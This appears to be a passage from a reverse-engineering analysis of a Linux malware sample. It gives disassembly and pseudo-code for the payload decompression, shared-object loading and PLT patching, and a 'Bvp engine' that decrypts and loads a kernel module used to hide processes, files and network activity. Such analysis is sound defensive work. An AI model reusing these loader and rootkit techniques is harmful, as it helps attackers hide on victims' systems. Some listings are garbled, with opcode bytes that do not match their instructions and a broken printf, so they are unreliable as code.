LOAD:00057049 8D B4 26 00 00 00 00 lea    esi, [esi+0]
LOAD:00057050                                loc_8057050: ; CODE XREF: linux_gzip_inflate_fixed+7F4j
LOAD:00057050 C7 04 83 08 00 00 00 00 mov     dword ptr [ebx+eax*4], 8
LOAD:00057057 83 C0 01     add     eax, 1
LOAD:0005705A 3D 20 01 00 00 00 00 cmp     eax, 120h
LOAD:0005705F 75 EF       jnz    short loc_8057050
LOAD:00057061 8D 45 EC     lea    eax, [ebp+var_14]
LOAD:00057064 BA 20 01 00 00 00 mov     edx, 120h
LOAD:00057069 89 44 24 0C mov     [esp+0Ch], eax
LOAD:0005706D 8D 45 F4     lea    eax, [ebp+var_C]
LOAD:00057070 89 01 01 00 00 00 mov     ecx, 101h
LOAD:00057075 89 44 24 08 mov     [esp+8], eax
LOAD:00057079 89 D8     mov     eax, ebx
LOAD:0005707B C7 45 EC 07 00 00 00 00 mov     [ebp+var_14], 7
LOAD:00057082 C7 44 24 04 A0 24 06 08 mov     dword ptr [esp+4], offset g_gzip_cplext
LOAD:0005708A C7 04 24 60 24 06 08 mov     dword ptr [esp], offset g_gzip_cplens
LOAD:00057091 E8 FA EE FF FF call   linux_gzip_huft_build
LOAD:00057096 31 D2     xor     edx, edx
LOAD:00057098 85 C0       test   eax, eax
LOAD:0005709A 0F 85 AA 00 00 00 00 jnz    loc_805714A
LOAD:000570A0

```

## linux\_gzip\_inflate\_dynamic function:

```

LOAD:00056A90 55          push    ebp
LOAD:00056A91 89 E5        mov     ebp, esp
LOAD:00056A93 83 EC 78     sub     esp, 78h
LOAD:00056A96 C7 04 24 F0 04 00 00 00 mov     dword ptr [esp], 4F0h
LOAD:00056A9D 89 50 F4     mov     [ebp+var_C], ebx
LOAD:00056AA0 89 7D FC     mov     [ebp+var_4], edi
LOAD:00056AA3 89 75 F8     mov     [ebp+var_8], esi
LOAD:00056AA6 E8 B1 2F FF FF call   near ptr malloc_
LOAD:00056AAB 8B 15 44 5A 06 08 mov     edx, ds:dword_8065A44
LOAD:00056AB1 8B 3D 40 5A 06 08 mov     edi, ds:dword_8065A40
LOAD:00056AB7 83 FA 04     cmp     edx, 4
LOAD:00056ABA 89 C3       mov     ebx, eax
LOAD:00056ABC 77 31       ja     short loc_8056AEF
LOAD:00056ABE A1 28 5A 06 08 mov     eax, ds:g_gzip_key
LOAD:00056AC3 8E 04 00 00 00 00 mov     esi, 4
LOAD:00056AC8 3B 05 24 5A 06 08 cmp     eax, ds:dword_8065A24
LOAD:00056ACE 0F 83 2C 01 00 00 jnb    loc_8056C00
LOAD:00056AD4 8B 0D 20 5A 06 08 mov     ecx, ds:dword_8065A20
LOAD:00056ADA 0F B6 34 01 movzx  esi, byte ptr [ecx+eax]
LOAD:00056ADE 89 D1     mov     ecx, edx
LOAD:00056AE0 83 C0 01     add     eax, 1
LOAD:00056AE3 83 C2 08     add     edx, 8
LOAD:00056AE6 A3 28 5A 06 08 mov     ds:g_gzip_key, eax
LOAD:00056AEB D3 E6     shl     esi, cl
LOAD:00056AEF 09 F7       or     edi, esi
LOAD:00056AEF                                loc_8056AEF: ; CODE XREF: linux_gzip_inflate_dynamic+2C7j
LOAD:00056AEF 8D 4A FB     lea    ecx, [edx-5]
LOAD:00056AF2 89 F8     mov     eax, edi
LOAD:00056AF4 C1 E8 05     shr     eax, 5
LOAD:00056AF7 83 F9 04     cmp     ecx, 4
LOAD:00056AFA 89 45 CC     mov     [ebp+var_34], eax
LOAD:00056AFD 89 4D D0     mov     [ebp+var_30], ecx
LOAD:00056B00 77 3F       ja     short loc_8056B41
LOAD:00056B02 A1 28 5A 06 08 mov     eax, ds:g_gzip_key
LOAD:00056B07 BE 04 00 00 00 00 mov     esi, 4
LOAD:00056B0C 3B 05 24 5A 06 08 cmp     eax, ds:dword_8065A24
LOAD:00056B12 89 45 D4     mov     [ebp+var_2C], eax
LOAD:00056B15 0F 83 E5 00 00 00 00 jnb    loc_8056C00
LOAD:00056B18 8B 4D D4     mov     ecx, [ebp+var_2C]
LOAD:00056B1E 83 C2 03     add     edx, 3
LOAD:00056B21 A1 28 5A 06 08 mov     eax, ds:dword_8065A20
LOAD:00056B26 0F B6 04 08 movzx  eax, byte ptr [eax+ecx]
LOAD:00056B2A 0F B6 4D D0 movzx  ecx, byte ptr [ebp+var_30]
LOAD:00056B2E 89 55 D0     mov     [ebp+var_30], edx
LOAD:00056B31 D3 E0     shl     eax, cl
LOAD:00056B33 09 45 CC     or     [ebp+var_34], eax
LOAD:00056B36 8B 45 D4     mov     eax, [ebp+var_2C]
LOAD:00056B39 83 C0 01     add     eax, 1

```

## linux\_gzip\_inflate\_codes function:

```

LOAD:000565A6 83 EC 5C          push    ecx
LOAD:000565A9 8B 35 40 5A 06 08  sub     esp, 5Ch
LOAD:000565AF 89 55 C4          mov     esi, ds:dword_8065A40
LOAD:000565B2 0F B7 94 09 20 24 06 08  movzx  edx, ds:g_zip_mask_bits[ecx+ecx]
LOAD:000565B8 89 4D DC          mov     [ebp+var_24], ecx
LOAD:000565BD 8B 4D 08          mov     ecx, [ebp+arg_0]
LOAD:000565C0 89 45 D4          mov     [ebp+var_2C], eax
LOAD:000565C3 A1 3C 5A 06 08   mov     eax, ds:dword_8065A3C
LOAD:000565C8 8B 1D 44 5A 06 08  mov     ebx, ds:dword_8065A44
LOAD:000565CE 89 55 D8          mov     [ebp+var_28], edx
LOAD:000565D1 0F B7 8C 09 20 24 06 08  movzx  ecx, ds:g_zip_mask_bits[ecx+ecx]
LOAD:000565D9 89 45 D0          mov     [ebp+var_30], eax
LOAD:000565DC 89 4D C8          mov     [ebp+var_38], ecx
LOAD:000565DF          ; CODE XREF: linux_gzip_inflate_codes+2C41j
LOAD:000565DF          ; linux_gzip_inflate_codes+2E81j ...
loc_80565DF:      cmp     ebx, [ebp+var_24]
LOAD:000565E2 3B 5D DC          jnb    short loc_8056619
LOAD:000565E4          ; CODE XREF: linux_gzip_inflate_codes+771j
LOAD:000565E4      mov     edx, ds:g_zip_key
LOAD:000565EA 3B 15 24 5A 06 08  cmp     edx, ds:dword_8065A24
LOAD:000565F0 0F 83 22 01 00 00  jnb    loc_8056718
LOAD:000565F6 A1 20 5A 06 08   mov     eax, ds:dword_8065A20
LOAD:000565FB 89 D9          mov     ecx, ebx
LOAD:000565FD 83 C3 08          add     ebx, 8
LOAD:00056600 0F B6 04 10      movzx  eax, byte ptr [eax+edx]
LOAD:00056604 83 C2 01          add     edx, 1
LOAD:00056607 89 15 28 5A 06 08  mov     ds:g_zip_key, edx
LOAD:0005660D 0F B6 C0          movzx  eax, al
LOAD:00056610 D3 E0          shl    eax, cl
LOAD:00056612 09 C6          or     esi, eax
LOAD:00056614 3B 5D DC          cmp     ebx, [ebp+var_24]
LOAD:00056617 72 CB          jb     short loc_80566E4
LOAD:00056619          ; CODE XREF: linux_gzip_inflate_codes+421j
loc_8056619:      mov     eax, [ebp+var_28]
LOAD:0005661C 8B 55 D4          mov     edx, [ebp+var_2C]
LOAD:0005661F 21 F0          and    eax, esi
LOAD:00056621 8D 04 C2          lea    eax, [edx+eax*8]
LOAD:00056624 0F B6 08          movzx  ecx, byte ptr [eax]
LOAD:00056627 89 45 E0          mov     [ebp+var_20], eax
LOAD:0005662A 83 F9 10          cmp    ecx, 10h
LOAD:0005662D 89 4D E4          mov     [ebp+var_1C], ecx
LOAD:00056630 0F B6 22 01 00 00  jbe    loc_8056758
LOAD:00056636 83 F9 63          cmp    ecx, 63h ; 'c'
LOAD:00056639 0F B4 18 04 00 00  jz     loc_8056A57
LOAD:0005663F A1 20 5A 06 08   mov     eax, ds:dword_8065A20
LOAD:00056644 8B 3D 24 5A 06 08  mov     edi, ds:dword_8065A24
LOAD:0005664A 89 45 CC          mov     [ebp+var_34], eax
LOAD:0005664D A1 28 5A 06 08   mov     eax, ds:g_zip_key
LOAD:00056652          ; CODE XREF: linux_gzip_inflate_codes+2201i
loc_8056652:

```

## linux\_gzip\_fill\_buf function:

```

LOAD:000564E0 55          push    ebp
LOAD:000564E1 89 E5          mov     ebp, esp
LOAD:000564E3 57          push    edi
LOAD:000564E4 56          push    esi
LOAD:000564E5 53          push    ebx
LOAD:000564E6 83 EC 2C          sub     esp, 2Ch
LOAD:000564E9 8B 35 3C 5A 06 08  mov     esi, ds:dword_8065A3C
LOAD:000564EF 8B 1D 2C 5A 06 08  mov     ebx, ds:dword_8065A2C
LOAD:000564F5 85 F6          test   esi, esi
LOAD:000564F7 75 27          jnz    short loc_8056520
LOAD:000564F9          ; CODE XREF: linux_gzip_fill_buf+8D1j
LOAD:000564F9          ; linux_gzip_fill_buf+851j
loc_80564F9:      mov     ds:dword_8065A2C, ebx
LOAD:000564FF 31 C0          xor    eax, eax
LOAD:00056501 01 35 30 5A 06 08  add    ds:dword_8065A30, esi
LOAD:00056507 C7 05 3C 5A 06 08 00 00 00 00  mov     ds:dword_8065A3C, 0
LOAD:00056511 83 C4 2C          add    esp, 2Ch
LOAD:00056514 5B          pop    ebx
LOAD:00056515 5E          pop    esi
LOAD:00056516 5F          pop    edi
LOAD:00056517 5D          pop    ebp
LOAD:00056518 C3          retn
; -----
LOAD:00056519 8D B4 26 00 00 00 00  align 10h
LOAD:00056520          ; CODE XREF: linux_gzip_fill_buf+171j
loc_8056520:      mov     edi, ds:dword_8065A38
LOAD:00056526 A1 34 5A 06 08   mov     eax, ds:dword_8065A34
LOAD:0005652B 8D 14 37          lea    edx, [edi+esi]
LOAD:0005652E 89 54 24 04          mov     [esp+4], edx
LOAD:00056532 89 55 E4          mov     [ebp+var_1C], edx
LOAD:00056535 89 04 24          mov     [esp], eax
LOAD:00056538 E8 93 A3 00 00    call   serial_bind_ex74e5f2a8_
LOAD:0005653D 8B 55 E4          mov     edx, [ebp+var_1C]
LOAD:00056540 85 C0          test   eax, eax
LOAD:00056542 74 21          jz     short loc_8056655
LOAD:00056544 A3 34 5A 06 08   ds:dword_8065A34, eax
LOAD:00056549 01 F8          add    eax, edi
LOAD:0005654B 89 15 38 5A 06 08  ds:dword_8065A38, edx
LOAD:00056551 89 74 24 08          mov     [esp+8], esi
LOAD:00056555 C7 44 24 04 80 5E 06 08  dword ptr [esp+4], offset byte_8065E80
LOAD:0005655D 89 04 24          mov     [esp], eax
LOAD:00056560 E8 87 35 FF FF          call   near ptr memmove_...
LOAD:00056565          ; CODE XREF: linux_gzip_fill_buf+621j
loc_8056565:      mov     esi, ds:dword_8065A3C

```

linux\_gzip\_huft\_build function:

```

LOAD:08055F90          linux_gzip_huft_build proc near          ; CODE XREF: linux_gzip_inflate_dynamic+2161p
LOAD:08055F90          ; linux_gzip_inflate_dynamic+3011p ...
LOAD:08055F90          var_7C          = dword ptr -7Ch
LOAD:08055F90          var_6C          = dword ptr -6Ch
LOAD:08055F90          var_68          = dword ptr -68h
LOAD:08055F90          var_64          = dword ptr -64h
LOAD:08055F90          var_60          = dword ptr -60h
LOAD:08055F90          var_5C          = dword ptr -5Ch
LOAD:08055F90          var_58          = dword ptr -58h
LOAD:08055F90          var_54          = dword ptr -54h
LOAD:08055F90          var_50          = dword ptr -50h
LOAD:08055F90          var_4C          = dword ptr -4Ch
LOAD:08055F90          var_48          = dword ptr -48h
LOAD:08055F90          var_44          = dword ptr -44h
LOAD:08055F90          var_40          = dword ptr -40h
LOAD:08055F90          var_3C          = dword ptr -3Ch
LOAD:08055F90          var_38          = dword ptr -38h
LOAD:08055F90          var_34          = dword ptr -34h
LOAD:08055F90          var_30          = dword ptr -30h
LOAD:08055F90          var_2C          = dword ptr -2Ch
LOAD:08055F90          var_28          = dword ptr -28h
LOAD:08055F90          var_24          = dword ptr -24h
LOAD:08055F90          var_20          = dword ptr -20h
LOAD:08055F90          var_1C          = dword ptr -1Ch
LOAD:08055F90          arg_0           = dword ptr 8
LOAD:08055F90          arg_4           = dword ptr 0Ch
LOAD:08055F90          arg_8           = dword ptr 10h
LOAD:08055F90          arg_C           = dword ptr 14h
LOAD:08055F90 55          push          ebp
LOAD:08055F91 89 E5        mov          ebp, esp
LOAD:08055F93 57          push          edi
LOAD:08055F94 56          push          esi
LOAD:08055F95 8E 03 00 00 00 mov          esi, 3
LOAD:08055F9A 53          push          ebx
LOAD:08055F9B 81 EC 8C 00 00 00 sub          esp, 8Ch
LOAD:08055FA1 C7 04 24 48 05 00 00 mov          dword ptr [esp], 548h
LOAD:08055FAB 89 45 D8        mov          [ebp+var_28], eax
LOAD:08055FAB 89 55 E4        mov          [ebp+var_1C], edx
LOAD:08055FAE 89 4D AC        mov          [ebp+var_54], ecx
LOAD:08055FB1 E8 A6 3A FF FF call         near ptr malloc_...
LOAD:08055FB6 85 C0        test         eax, eax
LOAD:08055FB8 80 C3        mov         ebx, eax
LOAD:08055FBA 0F 84 78 04 00 00 jz          loc_8056438
LOAD:08055FC0 31 C0        xor         eax, eax
LOAD:08055FC2 89 11 00 00 00 mov         ecx, 11h
LOAD:08055FC7 89 DF        mov         edi, ebx
LOAD:08055FC9 F3 AB        rep stosd
LOAD:08055FCB 8B 55 E4        mov         edx, [ebp+var_1C]
LOAD:08055FCE 8B 45 D8        mov         eax, [ebp+var_28]
LOAD:08055FD1 89 55 D4        mov          [ebp+var_2C], edx
LOAD:08055FD4 8D 74 26 00    lea         esi, [esi+0]
LOAD:08055FD8

```

The abstracted pseudo code in C language code is as follows (not fully covered):

```

for(i = 0; i < section_count; i++)
{
    serial_section_information *si;
    si = (serial_section_information *) (buffer + offset);

    printf("(0x%02X f1=0x%02X src=0x%08X dst=0x%08X checksum=0x%08X) s1=0x%02, s1=0x%02, hton(s1->src_size), hton(s1->dst_size), hton(s1->check_sum);
    offset += sizeof(serial_section_information);
    //if(i == 0x00)
    {
        src_size = hton(s1->src_size);
        dst_size = hton(s1->dst_size);
        src_buf = (char *) (buffer + offset);
        dst_buf = (char *) malloc(dst_size);
        memset(dst_buf, 0, dst_size);
        checksum = serial_bind_0x706e87_checksum(0, NULL, 0);
        checksum = serial_bind_0x706e87_checksum(checksum, src_buf, src_size);
        serial_bind_0x713e911_serialize(src_buf, src_size);
        serial_bind_0x80b0233_decode(src_buf, src_size, dst_buf, dst_size);
        memset(str, 0, 25);
        sprintf(str, "sec_0x%02X", i);
        fp = fopen(str, "wb");
        fseek(fp, 0, SEEK_SET);
        fwrite(dst_buf, dst_size, 1, fp);
        fclose(fp);
        free(dst_buf);
        offset += hton(s1->src_size);
    }
}

```

The known payload file formats are as follows:

```

typedef struct __serial_section_information
{
    uint8 magic[0x10];
    uint8 f0;
    uint8 f1;
    uint32 reversed;
    uint32 dst_size;
    uint32 src_size;
    uint32 check_sum;
};
serial_section_information;

```

In the running process, the sample will directly try to load the so-type file during the above Decode callback process:

```

LOAD:0005EB46 EB 95 1C 00 00      call     serial_bind_0x227ffec5_alloc
LOAD:0005EB48 85 C0              test    eax, eax
LOAD:0005EB4D 89 43 2C      mov     [ebx+2Ch], eax
LOAD:0005EB50 74 56              jz     short loc_0005EB5A
LOAD:0005EB52 8B 45 E4      mov     eax, [ebp+var_1C]
LOAD:0005EB55 8B 50 0C      mov     edx, [eax+0Ch]
LOAD:0005EB58 39 D6      cmp     esi, edx
LOAD:0005EB5A 76 B3      jbe    short loc_0005EB0F
LOAD:0005EB5C 89 D7      mov     edi, edx
LOAD:0005EB5E EB 07      jmp     short loc_0005EB67
LOAD:0005EB60
LOAD:0005EB60
LOAD:0005EB60 83 C7 08      add     edi, 8 ; CODE XREF: serial_loadso+CAlj
LOAD:0005EB63 39 FE      cmp     esi, edi
LOAD:0005EB65 76 35      jbe    short loc_0005EB9C
LOAD:0005EB67
LOAD:0005EB67
LOAD:0005EB67 83 3F 01      cmp     dword ptr [edi], 1 ; CODE XREF: serial_loadso+BE1j
LOAD:0005EB6A 75 F4      jnz    short loc_0005EB60 ; serial_loadso+FA1j
LOAD:0005EB6C 8B 45 E0      mov     eax, [ebp+var_20]
LOAD:0005EB6F C7 44 24 04 01 01 00 00  mov     dword ptr [esp+4], GI_LOAD
LOAD:0005EB77 03 47 04      add     eax, [edi+4]
LOAD:0005EB7A 89 04 24      mov     [esp], eax
LOAD:0005EB7D E8 3A AE FE FF      call   near ptr dlopen_0 ; 尝试加载so文件
LOAD:0005EB82 85 C0      test    eax, eax
LOAD:0005EB84 74 93      jz     short loc_0005EB19
LOAD:0005EB86 8B 53 30      mov     edx, [ebx+30h]
LOAD:0005EB89 83 C7 08      add     edi, 8
LOAD:0005EB8C 8B 48 2C      mov     ecx, [ebx+2Ch]
LOAD:0005EB8F 89 04 91      mov     [ecx+edx*4], eax
LOAD:0005EB92 83 C2 01      add     edx, 1
LOAD:0005EB95 39 FE      cmp     esi, edi
LOAD:0005EB97 89 53 30      mov     [ebx+30h], edx
LOAD:0005EB9A 77 CB      ja     short loc_0005EB67
LOAD:0005EB9C
LOAD:0005EB9C
LOAD:0005EB9C 31 FF      xor     edi, edi ; CODE XREF: serial_loadso+C51j
LOAD:0005EB9E 83 C4 2C      add     esp, 2Ch
LOAD:0005EBA1 89 F8      mov     eax, edi
LOAD:0005EBA3 5B      pop     ebx
LOAD:0005EBA4 5E      pop     esi
LOAD:0005EBA5 5F      pop     edi
LOAD:0005EBA6 5D      pop     ebp
LOAD:0005EBA7 C3      retn
LOAD:0005EBA8
LOAD:0005EBA8
LOAD:0005EBA8
LOAD:0005EBA8 BF 04 00 00 D0      mov     edi, 0D0000004h ; CODE XREF: serial_loadso+B01j
LOAD:0005EBAD E9 6E FF FF FF      jmp     loc_0005EB20
LOAD:0005EBAD
LOAD:0005EBAD
serial_loadso endp

```

After trying to load, it will try to patch the plt of the ELF file format:

```

LOAD:0005E935 03 C0      test    eax, eax
LOAD:0005E935 74 29      jz     short loc_0005E960
LOAD:0005E937
LOAD:0005E937
LOAD:0005E937 80 4F 34 02      or     byte ptr [edi+34h], 2 ; CODE XREF: serial_bind_0x531ab53f_got+2971j
LOAD:0005E93B 31 C0      xor     eax, eax
LOAD:0005E93D E9 73 FE FF FF      jmp     loc_0005E7B5
LOAD:0005E93D
LOAD:0005E942 8D B6 00 00 00 00  mov     [esp], 0 ; align 8
LOAD:0005E948
LOAD:0005E948
LOAD:0005E948 89 3C 24      mov     [esp], edi ; CODE XREF: serial_bind_0x531ab53f_got+6B1j
LOAD:0005E94B E8 50 01 00 00      call   serial_loadso
LOAD:0005E950 85 C0      test    eax, eax
LOAD:0005E952 0F 85 5D FE FF FF      jnz    loc_0005E7B5
LOAD:0005E958 8B 47 0C      mov     eax, [edi+0Ch]
LOAD:0005E95B E9 F1 FD FF FF      jmp     loc_0005E751
LOAD:0005E960
LOAD:0005E960
LOAD:0005E960
LOAD:0005E960 8B 45 18      mov     eax, [ebp+arg_10] ; CODE XREF: serial_bind_0x531ab53f_got+2551j
LOAD:0005E963 89 3C 24      mov     [esp], edi
LOAD:0005E966 89 44 24 04      mov     [esp+4], eax
LOAD:0005E96A E8 51 02 00 00      call   serial_elf_patch_plt ; 尝试修复elf文件格式的plt
LOAD:0005E96F 85 C0      test    eax, eax
LOAD:0005E971 0F 85 3E FE FF FF      jnz    loc_0005E7B5
LOAD:0005E977 EB BE      jmp     short loc_0005E937
LOAD:0005E979
LOAD:0005E979
LOAD:0005E979
LOAD:0005E979 8B 43 18      mov     eax, [ebx+18h] ; CODE XREF: serial_bind_0x531ab53f_got+22B1j
LOAD:0005E97C 8D 74 26 00      lea    esi, [esi+0]
LOAD:0005E980 EB 88      jmp     short loc_0005E90D
LOAD:0005E982
LOAD:0005E982
LOAD:0005E982
LOAD:0005E982 8B 11 00 00 D0      mov     eax, 0D0000011h ; CODE XREF: serial_bind_0x531ab53f_got+12B1j
LOAD:0005E987 E9 29 FE FF FF      jmp     loc_0005E7B5
LOAD:0005E987
LOAD:0005E987
LOAD:0005E987
LOAD:0005E987 8D 74 26 00      align 10h
LOAD:0005E990
LOAD:0005E990
LOAD:0005E990
LOAD:0005E990
; ===== SUBROUTINE =====

```

# Initialization and Kernel Module Loading of Bvp Engine

The decryption and loading of the kernel module will also be executed in the main process, which will go through following steps:

1. Decrypt the payload package;
2. Initialize the Bvp engine and adapt to the corresponding kernel version structure;
3. Start trying to load the ko module, which is mainly used for hiding processes, files, networks, etc.;

Details are as follows:

1. Try to decrypt the ko payload;

The screenshot displays a sequence of assembly instructions in a debugger window, illustrating the process of decrypting a kernel module payload and attempting to load it. The code is organized into several labeled blocks:

- loc\_804BA18:** This block starts by moving the payload structure and system info pointers into registers. It then calls `serial_crypt_kernel` to decrypt the payload. A jump instruction `jmp_804BB1D` follows if the decryption fails.
- jmp\_804BB1D:** This block moves the decrypted payload and system info into memory. It calls `serial_crypt_kernel` again, with a comment in Chinese: `尝试解密ko模块` (Attempt to decrypt ko module). A jump `loc_804BA3E` occurs if the decryption fails.
- loc\_804BA3E:** This block adjusts the stack pointer and calls `serial_t3_process`. A jump `short loc_804BBC3` occurs if the process fails.
- loc\_804BBC3:** This block calls `serial_bind_0xb367cd0e_channel`. A jump `short jmp_804BC04` occurs if the binding fails.
- jmp\_804BC04:** This block moves the process ID and buffer into registers and calls `serial_bind_0x62f1e7d3_channel`. A jump `short jmp_804BC42` occurs if the binding fails.
- jmp\_804BC42:** This block moves the process ID and buffer into registers and calls `serial_bind_0x7f493fb8_channel`. A jump `short jmp_804BC80` occurs if the binding fails.

## 2. Bvp overall processing function;

```

LOAD:08058BC0                                serial_Bvp_process proc near                ; CODE XREF: serial_config_play_0x00000001+Flj
LOAD:08058BC0                                ; serial_config_play_0x00000000+c1j
LOAD:08058BC0                                var_8                                     = dword ptr -8
LOAD:08058BC0                                var_4                                     = dword ptr -4
LOAD:08058BC0 55                                           push    ebp
LOAD:08058BC1 89 E5                                       mov     ebp, esp
LOAD:08058BC3 83 EC 18                                       sub     esp, 18h
LOAD:08058BC6 89 5D F8                                       mov     [ebp+var_8], ebx
LOAD:08058BC9 89 C3                                       mov     ebx, eax
LOAD:08058BCB 89 75 FC                                       mov     [ebp+var_4], esi
LOAD:08058BCE 8B 00                                       mov     eax, [eax]
LOAD:08058BD0 89 D6                                       mov     esi, edx
LOAD:08058BD2 A3 AC DE 06 08                                       mov     ds:ELF_API_0x08052A40, eax
LOAD:08058BD7 E8 D4 FD FF FF                                       call   serial_bvp_config
LOAD:08058BDC 3C 01                                       cmp     al, 1
LOAD:08058BDE 74 18                                       jz     short it_should_jump_patch_75
LOAD:08058BE0 E8 7B FF FF FF                                       call   serial_bvp_sym
LOAD:08058BE5 89 C2                                       mov     edx, eax
LOAD:08058BE7 31 C0                                       xor     eax, eax
LOAD:08058BE9 80 FA 01                                       cmp     dl, 1
LOAD:08058BEC 74 2A                                       jz     short loc_8058C18
LOAD:08058BEE 8B 5D F8                                       mov     ebx, [ebp+var_8]
LOAD:08058BF1 8B 75 FC                                       mov     esi, [ebp+var_4]
LOAD:08058BF4 89 EC                                       mov     esp, ebp
LOAD:08058BF6 5D                                           pop     ebp
LOAD:08058BF7 C3                                           retn

; -----
LOAD:08058BF8                                it_should_jump_patch_75:                  ; CODE XREF: serial_Bvp_process+1E1fj
LOAD:08058BF8 8B 43 08                                       mov     eax, [ebx+8]
LOAD:08058BF9 89 34 24                                       mov     [esp], esi ; xx
LOAD:08058BFE 89 44 24 08                                       mov     [esp+8], eax ; zz
LOAD:08058C02 8B 43 04                                       mov     eax, [ebx+4]
LOAD:08058C05 89 44 24 04                                       mov     [esp+4], eax ; yy
LOAD:08058C09 E8 42 0B 00 00                                       call   serial_bvp
LOAD:08058C0E 8B 5D F8                                       mov     ebx, [ebp+var_8]
LOAD:08058C11 8B 75 FC                                       mov     esi, [ebp+var_4]
LOAD:08058C14 89 EC                                       mov     esp, ebp
LOAD:08058C16 5D                                           pop     ebp
LOAD:08058C17 C3                                           retn

; -----
LOAD:08058C18                                loc_8058C18:                             ; CODE XREF: serial_Bvp_process+2C1fj
LOAD:08058C18 89 34 24                                       mov     [esp], esi
LOAD:08058C18 E8 30 1D 00 00                                       call   serial_bvp_sym
LOAD:08058C20 8B 5D F8                                       mov     ebx, [ebp+var_8]
LOAD:08058C23 8B 75 FC                                       mov     esi, [ebp+var_4]
LOAD:08058C26 89 EC                                       mov     esp, ebp
LOAD:08058C28 5D                                           pop     ebp
LOAD:08058C29 C3                                           retn
serial_Bvp_process endp

; -----
LOAD:08058C29                                align 10h
LOAD:08058C2A 8D B6 00 00 00 00
LOAD:08058C30
LOAD:08058C30                                ; ===== SUBROUTINE =====
000108C0 08058C30: serial_Bvp_process (synchronized with Hex View-1)

```

The corresponding pseudo code:

```

1 int __usercall serial_Bvp_process@<eax>(int *a1@<eax>, int a2@<edx>)
2 {
3     char v4; // dl
4     int result; // eax
5
6     ELF_API_0x08052A40 = *a1;
7     if ( (unsigned __int8)serial_bvp_config() == 1 )
8         return serial_bvp(a2, a1[1], a1[2]);
9     v4 = serial_bvp_sym();
10    result = 0;
11    if ( v4 == 1 )
12        result = serial_Bvp_sym(a2);
13    return result;
14 }

```



The corresponding pseudo code:

```
2{
3  int (__cdecl *v0)(int *, _DWORD, int); // ebx
4  int v1; // eax
5  int v2; // eax
6  int v3; // ebx
7  int (__cdecl *v4)(unsigned int *, _DWORD, int); // edi
8  int v5; // eax
9  void (__cdecl *v7)(int *, _DWORD, int); // edi
10 int v8; // eax
11 void (__cdecl *v9)(int *, _DWORD, int); // edi
12 int v10; // eax
13 void (__cdecl *v11)(int *, _DWORD, int); // edi
14 int v12; // eax
15 char v13[49]; // [esp+17h] [ebp-121h] BYREF
16 char buffer[49]; // [esp+48h] [ebp-F0h] BYREF
17 char dst[49]; // [esp+79h] [ebp-BFh] BYREF
18 char v16[49]; // [esp+AAh] [ebp-8Eh] BYREF
19 char v17[49]; // [esp+DBh] [ebp-5Dh] BYREF
20 int v18; // [esp+10Ch] [ebp-2Ch] BYREF
21 int v19; // [esp+110h] [ebp-28h] BYREF
22 int v20; // [esp+114h] [ebp-24h] BYREF
23 unsigned int v21; // [esp+118h] [ebp-20h] BYREF
24 int v22[4]; // [esp+11Ch] [ebp-1Ch] BYREF
25
26 v0 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
27 v22[0] = 0;
28 v21 = 0;
29 v20 = 0;
30 v19 = 0;
31 v18 = 0;
32 v1 = serial_bind_0xa8a16d65_xcode(buffer, "Bvp_sym_devmem_is_allowed", 28);
33 v2 = v0(v22, 0, v1);
34 v3 = 0;
35 if ( !v2 )
36 {
37     if ( v22[0] )
38     {
39         if ( v22[0] != -1 )
40         {
41             v4 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_0x08052A40;
42             v5 = serial_bind_0xa8a16d65_xcode(dst, "Bvp_config_LINUX_VERSION_CODE", 32);
43             if ( !v4(&v21, 0, v5) && v21 != -1 )
44             {
45                 v3 = 1;
46                 if ( v21 <= 0x20619 )
47                 {
48                     v7 = (void (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
49                     v8 = serial_bind_0xa8a16d65_xcode(v16, "Bvp_config_CONFIG_INFINIBAND_NES", 35);
50                     v7(&v20, 0, v8);
51                     v9 = (void (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
52                     v10 = serial_bind_0xa8a16d65_xcode(v17, "Bvp_config_CONFIG_INFINIBAND_NES_MODULE", 42);
53                     v9(&v19, 0, v10);
54                     v11 = (void (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
55                     v12 = serial_bind_0xa8a16d65_xcode(v13, "Bvp_config_CONFIG_XEN", 24);
56                     v11(&v18, 0, v12);
57                     if ( v20 != 1 && v19 != 1 )
58                         LOBYTE(v3) = v18 == 1;
59                 }
60             }
61         }
62     }
63 }
```

## 4. serial\_bvp process

```

LOAD:08059750
LOAD:08059750 55          push    ebp
LOAD:08059751 89 E5          mov     ebp, esp
LOAD:08059753 81 EC 28 09 00 00    sub     esp, 928h
LOAD:08059759 80 3D B0 DE 06 08 00  cmp     ds:g_elf_decode, 0
LOAD:08059760 89 5D F4          mov     [ebp+var_C], ebx
LOAD:08059763 89 75 F8          mov     [ebp+var_8], esi
LOAD:08059766 89 7D FC          mov     [ebp+var_4], edi
LOAD:08059769 C7 45 E4 00 00 00 00  mov     [ebp+var_1C], 0
LOAD:08059770 75 25          jnz    short loc_8059797
LOAD:08059772 A1 C8 3C 06 08          mov     eax, ds:g_elf_len
LOAD:08059777 BB FF FF FF FF          mov     ebx, 0FFFFFFFh
LOAD:0805977C C7 04 24 20 3D 06 08  mov     dword ptr [esp], offset g_elf_buf ; buf
LOAD:08059783 89 44 24 04          mov     [esp+4], eax ; len
LOAD:08059787 E8 D4 64 00 00          call   serial_bind_0x4743c911_xor
LOAD:0805978C 85 C0          test   eax, eax
LOAD:0805978E 74 2C          jz     short loc_80597BC
LOAD:08059790 C6 05 B0 DE 06 08 01  mov     ds:g_elf_decode, 1
LOAD:08059797
LOAD:08059797          loc_8059797:          ; CODE XREF: serial_bvp+201j
LOAD:08059797 A1 C8 3C 06 08          mov     eax, ds:g_elf_len
LOAD:0805979C 8D B5 7C FF FF FF          lea    esi, [ebp+info]
LOAD:080597A2 C7 44 24 04 20 3D 06 08  mov     dword ptr [esp+4], offset g_elf_buf ; elf_buf
LOAD:080597AA 89 34 24          mov     [esp], esi ; info
LOAD:080597AD 89 44 24 08          mov     [esp+8], eax ; elf_len
LOAD:080597B1 E8 BA 0C 00 00          call   serial_elf_getbaseinfo
LOAD:080597B6 85 C0          test   eax, eax
LOAD:080597B8 89 C3          mov     ebx, eax
LOAD:080597BA 74 24          jz     short loc_80597E0
LOAD:080597BC
LOAD:080597BC          loc_80597BC:          ; CODE XREF: serial_bvp+3E1j
LOAD:080597BC          ; serial_bvp+AD1j ...
